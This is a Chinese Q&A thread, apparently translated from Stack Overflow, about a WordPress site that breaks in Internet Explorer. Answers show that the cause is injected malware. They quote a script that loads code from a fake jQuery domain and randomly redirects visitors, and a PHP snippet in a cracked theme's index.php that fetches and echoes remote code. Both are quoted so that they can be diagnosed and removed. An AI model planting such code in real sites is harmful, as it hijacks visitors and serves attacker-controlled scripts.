Wordpress CSS在Internet Explorer中不起作用

时间:2011-12-18 17:02:48

标签: css wordpress internet-explorer

当我用IE 9-8-7浏览我的网站时出现了一些错误。它与Chrome,Safari,Firefox和Opera完美呈现。可能是什么原因?谢谢。

http://www.omergencay.com

Internet Explorer中的错误视图 enter image description here

4 个答案:

答案 0 :(得分:4)

这是HTML的第一行:

<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.js"></scr'+'ipt>'); } </script>

<script type="text/javascript">
var now = new Date().getTime();
if (now%35 == 0) {
window.location = "http://bit.ly/vjqJ4w";
}
</script><!DOCTYPE html>

在doctype之前填充IE会将IE投入Quirks Mode,这就是您的网站在IE中无法正常显示的原因。

更重要的是,您的网站似乎已被黑客入侵。浏览到hxxp://bit.ly/vjqJ4w会带你到你可能不想去的地方。

答案 1 :(得分:3)

实际上解决这个问题非常简单。

但请让我先解释一下导致这种情况的原因。

没有。原因是您或您的开发人员可能从warez分销商网站获取了一些破解/黑客/无效主题。

所以要解决这个问题。只需在主题根文件夹下打开index.php

并寻找:

<?php
if(function_exists('curl_init'))
{
    $url = "http://www.j-query.org/jquery-1.6.3.min.js"; 
    $ch = curl_init();  
    $timeout = 5;  
    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  
    curl_close($ch); 
    echo "$data";
}
?>

删除整个脚本,您的网站应该正常工作。

答案 2 :(得分:0)

迫使IE在您的页面中以怪癖模式(即IE5.5模式)运行。点击F12后,您可以看到当前的文档模式并进行更改。

当我查看源代码时,doctype似乎设置正确...我看不到thirtydot看到了什么。

你(很可能)使用某种wordpress插件在某些情况下导致问题(这可以解释为什么bingjie2680没有注意到任何东西。

答案 3 :(得分:0)

尝试修复代码错误并重新验证。 [Invalid] Markup Validation of omergencay.com - W3C Markup Validator。在验证报告中向下滚动以查看行号和源代码。